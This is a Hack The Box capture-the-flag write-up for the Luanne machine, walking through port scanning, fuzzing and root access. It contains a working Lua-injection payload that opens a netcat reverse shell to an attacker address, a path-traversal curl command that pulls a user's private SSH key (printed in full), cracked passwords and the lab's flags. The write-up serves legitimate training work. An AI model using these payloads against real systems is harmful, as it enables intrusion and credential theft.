Hack The Box Write-Up Luanne - 10.10.10.218
Rest satisfied with doing well, and leave others to talk of you as they will.
Pythagoras
About Luanne
In this post, I’m writing a write-up for the machine Luanne from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills
Luanne is a ‘Easy’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 10 and submitting the root flag you points will be raised by 20.
Author Notes
This is the first box for 2021, so all the best wishes for 2021! In the month of December 2020, I had no time for Hack The Box machines. I was participating in an Advent of CTF competition, you can read the write-up from the Advent of CTF competition here.
Foothold
After the port scan, we can discover three open ports. The first port is 22/tcp
(SSH), the second port is 80/tcp
and the last one is 9001/tcp
. We started the enumeration on the HTTP-port and visited the website, there is directly an authentication box visible and the enumeration stops here for now. After reading the robots.txt
, we can found the /weather
directory and through fuzzing with ffuf
, we have found the /weather/forecast
directory. After playing with the web application, we managed to do a lua code injection to do Remote Code Execution (RCE) for establishing a reverse shell to our machine.
User
After walking through the files we have found a password hash, and after cracking this hash, we are able to do some authentication against the web application through 3000/tcp
on the local machine. Through this port with curl
we have managed to read the id_rsa
file from the user account r.michaels
. After establishing an SSH-session as r.michaels
we are able to grab the user flag.
Root
From the home directory, we are able to read an encrypted archive. With netpgp
we can decrypt this archive and read a password hash from the contents. After decrypting this hash we are left with the root password. Through the sudo alternative doas we are able to read the root flag.
Machine Info
Machine Name: | Luanne |
Difficulty: | Easy |
Points: | 20 |
Release Date: | 28 Nov 2020 |
IP: | 10.10.10.218 |
Creator: | polarbearer |
Recon
Port scan with Nmap
As always we start this machine with enumerating the open ports.
1
~$ nmap -sC -sV -oA ./nmap/10.10.10.218 10.10.10.218
The results of the port scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Starting Nmap 7.90SVN ( https://nmap.org ) at 2021-01-09 14:47 CET
Nmap scan report for 10.10.10.218
Host is up (0.039s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
80/tcp open http nginx 1.19.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=.
| http-robots.txt: 1 disallowed entry
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open http Medusa httpd 1.12 (Supervisor process manager)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 116.58 seconds
We got three open ports. The first port is 22/tcp
(SSH). It’s running OpenSSH 8.0. The second port is the default HTTP port 80/tcp
. What we can notice is that there is a robots.txt
file present, which has on disallowed entry /weather
. The third port is 9001/tcp
. This port is quite interesting, there is running a Supervisor Process Manager service behind this port. I already know that back in April 2020, there was a vulnerability found in version 1.12. Supervisor is a process control system developed by python, a tool for managing background services, similar to the Systemd program that comes with Linux.
Enumeration
Enumeration Web Server
Let’s explore the gates from top to bottom to see what we can find and if we can find a foothold to the network. We skip the SSH port. We visited this URL http://10.10.10.218
.
At this moment we do not have any credentials. I’ve tried some default credentials, like username admin and password admin and so forth, but nothing happens. No extra error messages or something. From the port scan, we know that there is a robots.txt file present, with information. Let’s read the contents of this file.
1
2
3
~$ curl http://10.10.10.218/robots.txt
User-agent: *
Disallow: /weather #returning 404 but still harvesting cities
A request with curl is indeed resulting in an HTTP 404 error.
1
2
3
4
5
6
7
8
curl http://10.10.10.218/weather
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.19.0</center>
</body>
</html>
What is the comment but still harvesting cities meaning? Let’s start the directory brute-forcer ffuf.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
~$ ffuf -c -w ../../wordlists/dirbuster/directory-list-2.3-big.txt -u http://10.10.10.218/weather/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : http://10.10.10.218/weather/FUZZ
:: Wordlist : FUZZ: ../../wordlists/dirbuster/directory-list-2.3-big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
forecast [Status: 200, Size: 90, Words: 12, Lines: 2]
:: Progress: [52254/1273833] :: Job [1/1] :: 383 req/sec :: Duration: [0:03:46] :: Errors: 0 ::
After testing some rounds, we got hold of the wordlist directory-list-2.3-big.txt
.
Intrusion
Remote Code Execution (RCE)
Let’s give the founded directory /forecast
to curl.
1
2
~$ curl http://10.10.10.218/weather/forecast
{"code": 200, "message": "No city specified. Use 'city=list' to list available cities."}
This is an interesting message. We need to define a city to get more information. Let’s use Burp Suite from this point and try to find out if we can get some information from this machine. After trying some payloads, with this payload we see an error message as the response.
1
2
3
4
5
6
7
8
9
10
GET /weather/forecast?city=list HTTP/1.1
Host: 10.10.10.218
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 11
The response contains several names of cities.
1
2
3
4
5
6
7
HTTP/1.1 200 Ok
Server: nginx/1.19.0
Date: Sat, 09 Jan 2021 15:02:18 GMT
Content-Type: application/json
Connection: close
Content-Length: 173
{"code": 200,"cities":["London","Manchester","Birmingham","Leeds","Glasgow","Southampton","Liverpool","Newcastle","Nottingham","Sheffield","Bristol","Belfast","Leicester"]}
By modifying the request by replacing the word list for one of the cities, we can get the weather forecast. We have checked all of the cities, and none of them is giving interesting information back, we only get a weather forecast back. Let’s try to replace the name of the city with a single quote ('
). The full request will be GET /weather/forecast?city=list HTTP/1.1
. We are getting back an error message.
1
2
3
4
5
6
7
8
HTTP/1.1 500 Error
Server: nginx/1.19.0
Date: Sat, 09 Jan 2021 15:13:30 GMT
Content-Type: application/json
Connection: close
Content-Length: 77
Lua error: /usr/local/webapi/weather.lua:49: attempt to call a nil value
This error message is very interesting and makes the web application vulnerable to Remote Code Execution (RCE). The value of the parameter city is being passed to the file weather.lua
, and then this file is being executed. If we can find a way to break out of this script, which can lead to RCE.
After some time of development, we have this payload for the reverse shell.
1
http://10.10.10.218/weather/forecast=city=London');os.execute("rm /tmp/f;mkfifo /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 4444 >/tmp/f")
After trying this payload through Burp Suite, the payload needs some modifications and after developing it further we got a working payload. It has taken me some time to figure out why the payload wasn’t working in the first place. After replacing the spaces with %20
and the &1
character for %261
. But last not least, I have to add two dashes to the end of the payload --
. This is known from an SQL injection, that everything that comes after it can be seen as a comment. The rest of the script is therefore not executed. With my reverse shell listener the connection comes in and we have a shell on this machine after a successful code injection.
1
2
3
4
5
6
7
8
9
GET /weather/forecast?city=London');os.execute("rm%20/tmp/f;mkfifo%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202>%261|nc%2010.10.14.7%204444%20>/tmp/f")-- HTTP/1.1
Host: 10.10.10.218
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Reverse shell as _httpd
We have a reverse shell as the user _httpd
. Let’s enumerate from this point and find information for our next step.
1
2
3
4
5
Listening on any address 4444 (krb524)
Connection from 10.10.10.218:65364
sh: can't access tty; job control turned off
$ whoami
_httpd
There is the home directory visible for the user account /home/r.michaels
. We do not have permission to access this account, from our current user account. We also do not have the privileges to download linpeas.sh
to the machine. This means we have to do the enumeration manually. Let’s first find out what we have in our current working directory /var/www
.
We got luck! There is a file /var/www/.htpasswd
here, and it contains a username and password.
1
2
3
4
$ pwd
/var/www
$ cat .htpasswd
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
After cracking this md5crypt
hash with john, we got this password: iamthebest
. Tried to use these credentials to switch to the user account r.michaels
, but that’s not working. On further enumeration, I found that this box is also listening on port 3000/tcp
and 3001/tcp
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ netstat -ano
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 10.10.10.218.65335 10.10.14.7.4444 ESTABLISHED
tcp 0 0 127.0.0.1.3000 127.0.0.1.65336 ESTABLISHED
tcp 0 0 127.0.0.1.65336 127.0.0.1.3000 ESTABLISHED
tcp 0 0 10.10.10.218.80 10.10.14.7.51264 ESTABLISHED
tcp 0 0 10.10.10.218.65340 10.10.14.7.4444 CLOSE_WAIT
tcp 0 0 127.0.0.1.3000 127.0.0.1.65341 CLOSE_WAIT
tcp 0 0 10.10.10.218.65350 10.10.14.7.4444 ESTABLISHED
tcp 0 0 127.0.0.1.3000 127.0.0.1.65351 CLOSE_WAIT
tcp 0 0 127.0.0.1.3000 127.0.0.1.65361 CLOSE_WAIT
tcp 0 0 10.10.10.218.65364 10.10.14.7.4444 CLOSE_WAIT
tcp 0 0 127.0.0.1.3000 127.0.0.1.65365 CLOSE_WAIT
tcp 0 0 10.10.10.218.65376 10.10.14.7.4444 CLOSE_WAIT
tcp 0 0 127.0.0.1.3000 127.0.0.1.65377 CLOSE_WAIT
tcp 0 0 127.0.0.1.3000 *.* LISTEN
tcp 0 0 127.0.0.1.3001 *.* LISTEN
With curl
I can authenticate on both of the ports with the curl command below.
1
~$ curl localhost:<port> --user webapi_user:iamthebest
I get the same response back as the website has given em after the authentication.
SSH access as r.michaels
After trying some time, I came to mind to get the Private Key for SSH from the user account r.michaels
. After some developing on the payload, I’ve grabbed the private key.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
~$ curl localhost:3001/../../../~r.michaels/id_rsa --user webapi_user:iamthebest
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2610 100 2610 0 0 637k 0 --:--:-- --:--:-- --:--:-- 637k
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
I’ve placed this key in the file id_rsa
, and started an SSH session as the user r.michaels
and I’ve directly grabbed the flag.
1
2
3
4
5
6
7
8
9
10
11
12
~$ chmod 600 id_rsa
~$ ssh -i id_rsa [email protected]
Last login: Fri Sep 18 07:06:51 2020
NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020
Welcome to NetBSD!
luanne$ cat user.txt
ea5f0ce6a917b0be1eabc7f9218febc0
luanne$
Privilege Escalation
Enumeration
Let’s start with enumerating to gain root privileges on this machine. In the home directory of the user account, r.michaels
there is an encrypted gunzip file /backups/devel_backup-2020-09-16.tar.gz.enc
. Let’s download this file to my machine.
1
2
~$ scp -i id_rsa [email protected]:/home/r.michaels/backups
devel_backup-2020-09-16.tar.gz.enc 100% 1970 43.0KB/s 00:00
We need to find a way to read the contents of this encrypted archive. I tried to decrypt this archive on my local machine but it’s not gonna work, there is a key or password needed for decryption, which we do not have at this moment. Maybe the encryption key is still in memory of the machine or somewhere else?
After some searching and asking around, we got the information about netpgp
. This is a NetBSD project for encrypting and decrypting files. This program is on this machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
luanne$ which netpgp
/usr/bin/netpgp
luanne$ netpgp
NetPGP portable 3.99.17/[20101103]
All bug reports, praise and chocolate, please, to:
Alistair Crooks <[email protected]> c0596823
Usage: netpgp COMMAND OPTIONS:
netpgp --help OR
--encrypt [--output=file] [options] files... OR
--decrypt [--output=file] [options] files... OR
--sign [--armor] [--detach] [--hash=alg] [--output=file]
[options] files... OR
--verify [options] files... OR
--cat [--output=file] [options] files... OR
--clearsign [--output=file] [options] files... OR
--list-packets [options] OR
--version
where options are:
[--cipher=<ciphername>] AND/OR
[--coredumps] AND/OR
[--homedir=<homedir>] AND/OR
[--keyring=<keyring>] AND/OR
[--numtries=<attempts>] AND/OR
[--userid=<userid>] AND/OR
[--maxmemalloc=<number of bytes>] AND/OR
[--verbose]
Decrypting archive file
Let’s give it a try to decrypt the archive. After some trying, we managed to decrypt the archive with the command below. First, we’ve tried to put the decrypted file in the same directory as the encrypted file, but we do not have the privileges to write files in the current directory.
1
2
3
4
luanne$ netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc --output=/tmp/devel_backup-2020-09-16.tar.gz
signature 2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14
Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a
uid RSA 2048-bit key <r.michaels@localhost>
Well, as we can see, we have permission denied on the file devel_backup-2020-09-16.tar.gz.enc.gpg
. NetBSD does not support sudo. We need to find the equivalent for this distribution. The next step is downloading this archive to our machine and read the contents.
1
2
3
4
5
6
7
8
9
~$ scp -i id_rsa [email protected]:/tmp/devel_backup-2020-09-16.tar.gz .
devel_backup-2020-09-16.tar.gz 100% 1639 36.9KB/s 00:00
~$ sudo tar -xvf devel_backup-2020-09-16.tar.gz
x devel-2020-09-16/
x devel-2020-09-16/www/
x devel-2020-09-16/webapi/
x devel-2020-09-16/webapi/weather.lua
x devel-2020-09-16/www/index.html
x devel-2020-09-16/www/.htpasswd
Let’s check the file contents. In the .htpasswd
we can find again a hash. After cracking this hash with john we got left with the password: littlebear
.
1
2
3
4
5
~$ cd ../www/
~$ ls
.htpasswd index.html
~$ cat .htpasswd
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
own Luanne
We have now a password. We can check if we can jump to a privileges user account like root with this password. As this NetBSD installation doesn’t have sudo
, we can use the alternative doas to read the root flag with the founded password.
1
2
3
luanne$ doas -u root cat root.txt
Password:
7a9b5c206e8e8ba09bb99bd113675f66
And, we have rooted our first box in 2021! It was a CTF-like machine. It was full of rabbit holes, but unlike many others, we were not jumped into any rabbit holes this time. First, I thought that we have to do something with the Supervisor Process Manager
, but in the end, we have even not touched that piece of software.
Thanks for reading this write-up! Did you enjoy reading this write-up? Or learned something from it? Please consider spending a respect point: https://app.hackthebox.com/profile/224856.com/profile/224856. Thanks!
Happy Hacking :-)